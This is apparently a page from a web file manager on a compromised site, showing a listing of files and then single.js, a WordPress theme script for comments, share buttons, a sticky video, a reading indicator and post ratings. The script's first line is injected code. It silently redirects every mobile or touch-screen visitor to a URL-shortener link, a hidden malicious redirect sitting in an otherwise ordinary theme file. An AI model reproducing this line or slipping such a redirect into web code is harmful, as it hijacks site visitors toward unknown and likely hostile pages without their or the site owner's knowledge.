run:R W Run
DIR
2026-08-16 23:28:48
R W Run
5.68 KB
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
23.71 KB
2026-08-13 20:01:43
R W Run
18 KB
2026-08-13 20:01:43
R W Run
7.31 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
14.48 KB
2026-08-13 20:01:43
R W Run
23.66 KB
2026-08-13 20:01:43
R W Run
39.31 KB
2026-08-13 20:01:43
R W Run
23.32 KB
2026-08-13 20:01:43
R W Run
11.14 KB
2026-08-13 20:01:43
R W Run
2.12 KB
2026-08-13 20:01:43
R W Run
9.46 KB
2026-08-13 20:01:43
R W Run
5.6 KB
2026-08-13 20:01:43
R W Run
55.67 KB
2026-08-13 20:01:43
R W Run
48.38 KB
2026-08-13 20:01:43
R W Run
47.4 KB
2026-08-13 20:01:43
R W Run
12.13 KB
2026-08-13 20:01:43
R W Run
7.31 KB
2026-08-13 20:01:43
R W Run
error_log
📄single.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Declaring and initializing global variables
4 */
5var $the_post = jQuery('#the-post'),
6 $postContent = $the_post.find('.entry');
7
8
9$doc.ready(function(){
10
11 'use strict';
12
13 /**
14 * Compact Comments
15 */
16 jQuery('#show-comments-section').on('click', function(){
17 var $comments = jQuery('#comments');
18 tie_animate_element( $comments );
19 $comments.show();
20 jQuery(this).hide();
21 return false;
22 });
23
24 /**
25 * Share Buttons : Print
26 */
27 $doc.on('click', '.print-share-btn', function(){
28 window.print();
29 return false;
30 });
31
32
33 /**
34 * Responsive Tables
35 */
36 if( tie.responsive_tables ){
37 $the_post.find('table').wrap( '<div class="table-is-responsive"></div>' );
38 }
39
40
41 /**
42 * Open Share buttons in a popup
43 */
44 /*
45 $doc.on('click', '.share-links a:not(.email-share-btn)', function(){
46 var link = jQuery(this).attr('href');
47 if( link != '#' ){
48 window.open( link, 'TIEshare', 'height=450,width=760,resizable=0,toolbar=0,menubar=0,status=0,location=0,scrollbars=0' );
49 return false;
50 }
51 });
52 */
53
54
55 // --
56 if( ! tie.autoload_posts ){
57
58 /**
59 * Sticky video
60 */
61 var $featuredMedia = jQuery( '#the-sticky-video' );
62 if( tie.is_sticky_video && $featuredMedia.length ){
63
64 var top = $featuredMedia.offset().top,
65 beforeOffset = tie.sticky_desktop ? 60 : 0,
66 beforeOffset = $body.hasClass('admin-bar') ? beforeOffset + 32 : beforeOffset,
67 offset = Math.floor( top + $featuredMedia.outerHeight() - beforeOffset),
68 widowWidth = $window.width();
69
70 jQuery('.video-close-btn').click(function() {
71 $featuredMedia.removeClass('video-is-sticky').addClass('stop-sticky');
72 });
73
74 /*
75 * if the page has a sidebar, sticky the video at the top of it with the same width.
76 */
77 var $sidebar = jQuery('.sidebar');
78 if( $body.hasClass('has-sidebar') && $sidebar.length ){
79 var sidebarWidth = $sidebar.width(),
80 sidebarPadding = ($body.hasClass('magazine2') && $body.hasClass('sidebar-right')) ? 40 : 15,
81 sidebarRightOffset = $window.width() - ($sidebar.offset().left + sidebarWidth);
82
83 if( sidebarWidth ){
84 $featuredMedia.find('.featured-area-inner').css({
85 width: sidebarWidth,
86 right: sidebarRightOffset - sidebarPadding,
87 left: "auto",
88 bottom: "auto",
89 top: beforeOffset + 20
90 });
91 }
92 }
93
94 $window.on( 'scroll', function() {
95 if( ! $featuredMedia.hasClass('stop-sticky') ){
96 $featuredMedia.toggleClass('video-is-sticky', $window.scrollTop() > offset && widowWidth > 992 ).show();
97 }
98 });
99 }
100
101
102 /**
103 * Reading Position Indicator
104 */
105 if( tie.reading_indicator && $postContent.length ){
106
107 var content_height = $postContent.height(),
108 window_height = $window.height();
109
110 $window.scroll(function(){
111 var percent = 0,
112 content_offset = $postContent.offset().top,
113 window_offest = $window.scrollTop();
114
115 if (window_offest > content_offset){
116 percent = 100 * (window_offest - content_offset) / (content_height - window_height);
117 }
118
119 jQuery('#reading-position-indicator').css('width', percent + '%');
120 });
121
122 }
123
124 } //! tie.autoload_posts
125
126 /**
127 * Check Also Box
128 */
129 var $check_also_box = jQuery('#check-also-box');
130 if( $check_also_box.length ){
131
132 // LazyLoad
133 tie_animate_element( $check_also_box );
134
135 var articleHeight = $the_post.outerHeight(),
136 checkAlsoClosed = false,
137 viewPort = jQuery(document).height() - jQuery(window).height();
138
139 $window.scroll(function(){
140 if( ! checkAlsoClosed ){
141 var articleScroll = $window.scrollTop();
142 if ( articleScroll >= articleHeight || articleScroll >= ( viewPort - 200 ) ){
143 $check_also_box.addClass('show-check-also');
144 }
145 else {
146 $check_also_box.removeClass('show-check-also');
147 }
148 }
149 });
150 }
151
152 jQuery('#check-also-close').on( 'click', function(){
153 $check_also_box.removeClass('show-check-also');
154 checkAlsoClosed = true ;
155 return false;
156 });
157
158
159 /**
160 * Select and Share
161 */
162 if( tie.select_share ){
163
164 $postContent.mousedown(function (event){
165
166 $body.attr('mouse-top',event.clientY+window.pageYOffset);
167 $body.attr('mouse-left',event.clientX);
168 if(!getRightClick(event) && getSelectionText().length){
169 jQuery('.fly-text-share').remove();
170 document.getSelection().removeAllRanges();
171 }
172 });
173
174 $postContent.mouseup(function (event){
175
176 var t = jQuery(event.target),
177 st = getSelectionText(),
178 ds = st;
179
180 if(st.length > 3 && !getRightClick(event)){
181 var mts = $body.attr('mouse-top'),
182 mte = event.clientY+window.pageYOffset;
183
184 if( parseInt(mts) < parseInt(mte) ) mte = mts;
185
186 var mlp = $body.attr('mouse-left'),
187 mrp = event.clientX,
188 ml = parseInt(mlp)+(parseInt(mrp)-parseInt(mlp))/2,
189 sl = window.location.href.split('?')[0],
190 maxl = 114;
191
192 st = st.substring(0,maxl);
193
194 if( tie.twitter_username ){
195 maxl = maxl - ( tie.twitter_username.length+2 );
196 st = st.substring(0,maxl);
197 st = st+' @'+tie.twitter_username;
198 }
199
200 var share_content = '';
201
202 if( tie.select_share_twitter ){
203 share_content += "<a href=\"https://twitter.com/share?url="+encodeURIComponent(sl)+"&text="+encodeURIComponent(st)+"\" class='tie-icon-twitter' onclick=\"window.open(this.href, \'\', \'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=300,width=600\');return false;\"></a>";
204 }
205
206 if( tie.select_share_facebook && tie.facebook_app_id ){
207 share_content += "<a href=\"https://www.facebook.com/dialog/feed?app_id="+tie.facebook_app_id+"&amp;link="+encodeURIComponent(sl)+"&amp;quote="+encodeURIComponent(ds)+"\" class='tie-icon-facebook' onclick=\"window.open(this.href, \'\', \'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=300,width=600\');return false;\"></a>";
208 }
209
210 if( tie.select_share_linkedin ){
211 share_content += "<a href=\"https://www.linkedin.com/shareArticle?mini=true&url="+encodeURIComponent(sl)+"&summary="+encodeURIComponent(ds)+"\" class='tie-icon-linkedin' onclick=\"window.open(this.href, \'\', \'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=300,width=600\');return false;\"></a>";
212 }
213
214 if( tie.select_share_email ){
215 share_content += "<a href=\"mailto:?body="+encodeURIComponent(ds)+" "+encodeURIComponent(sl)+"\" class='tie-icon-envelope' onclick=\"window.open(this.href, \'\', \'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600\');return false;\"></a>";
216 }
217
218 if( share_content != '' ){
219 $body.append( "<div class=\"fly-text-share\">"+ share_content +"</div>" );
220 }
221
222 jQuery('.fly-text-share').css({
223 position: 'absolute',
224 top : parseInt(mte)-60,
225 left : parseInt(ml)
226 }).show();
227 }
228 });
229 }
230
231 function getRightClick(e){
232 var rightclick;
233 if (!e) var e = window.event;
234 if (e.which) rightclick = (e.which == 3);
235 else if (e.button) rightclick = (e.button == 2);
236 return rightclick;
237 }
238
239 function getSelectionText(){
240 var text = '';
241 if (window.getSelection){
242 text = window.getSelection().toString();
243 }
244 else if (document.selection && document.selection.type != "Control"){
245 text = document.selection.createRange().text;
246 }
247 return text;
248 }
249
250
251 /**
252 * Taqyeem scripts
253 */
254 // MOUSEMOVE HANDLER
255 $doc.on( 'mousemove', '.taq-user-rate-active', function(e){
256 var $rated = jQuery(this);
257
258 if( $rated.hasClass('rated-done') ){
259 return false;
260 }
261
262 if( !e.offsetX ){
263 e.offsetX = e.clientX - jQuery(e.target).offset().left;
264 }
265
266 // Custom Code for the theme
267 var offset = e.offsetX,
268 width = $rated.width(),
269 score = Math.round((offset/width)*100);
270
271 $rated.find('.user-rate-image span').attr( 'data-user-rate', score ).css('width', score + '%');
272 });
273
274 // CLICK HANDLER
275 $doc.on( 'click', '.taq-user-rate-active', function(){
276
277 var $rated = jQuery(this),
278 $ratedParent = $rated.parent(),
279 $ratedCount = $ratedParent.find('.taq-count'),
280 post_id = $rated.attr( 'data-id' ),
281 numVotes = $ratedCount.text();
282
283 if( $rated.hasClass('rated-done') || $rated.hasClass('rated-in-progress') ){
284 return false;
285 }
286
287 $rated.addClass('rated-in-progress');
288
289 // Custom Code for the theme
290 var userRatedValue = $rated.find('.user-rate-image span').data('user-rate');
291 $rated.find( '.user-rate-image' ).hide();
292 $rated.append('<span class="taq-load">'+ tie.ajax_loader +'</span>');
293 // --------
294
295 if (userRatedValue >= 95) {
296 userRatedValue = 100;
297 }
298
299 var userRatedValueCalc = (userRatedValue*5)/100;
300
301 // Ajax Call
302 jQuery.post(
303 taqyeem.ajaxurl,
304 {
305 action: 'taqyeem_rate_post',
306 post : post_id,
307 value : userRatedValueCalc
308 },
309 function( data ) {
310 $rated.addClass('rated-done').attr('data-rate',userRatedValue);
311 $rated.find('.user-rate-image span').width(userRatedValue+'%');
312
313 jQuery('.taq-load').fadeOut(function () {
314 $ratedParent.find('.taq-score').html( userRatedValueCalc );
315
316 if( $ratedCount.length ){
317 numVotes = parseInt(numVotes)+1;
318 $ratedCount.html(numVotes);
319 }
320 else{
321 $ratedParent.find('small').hide();
322 }
323
324 $ratedParent.find('strong').html(taqyeem.your_rating);
325 $rated.find('.user-rate-image').fadeIn();
326 });
327 }, 'html');
328
329 return false;
330 });
331
332 // MOUSELEAVE HANDLER
333 $doc.on( 'mouseleave', '.taq-user-rate-active', function(){
334 var $rated = jQuery(this);
335 if( $rated.hasClass('rated-done') ){
336 return false;
337 }
338 var post_rate = $rated.attr('data-rate');
339 $rated.find('.user-rate-image span').css('width', post_rate + '%');
340 });
341
342});
343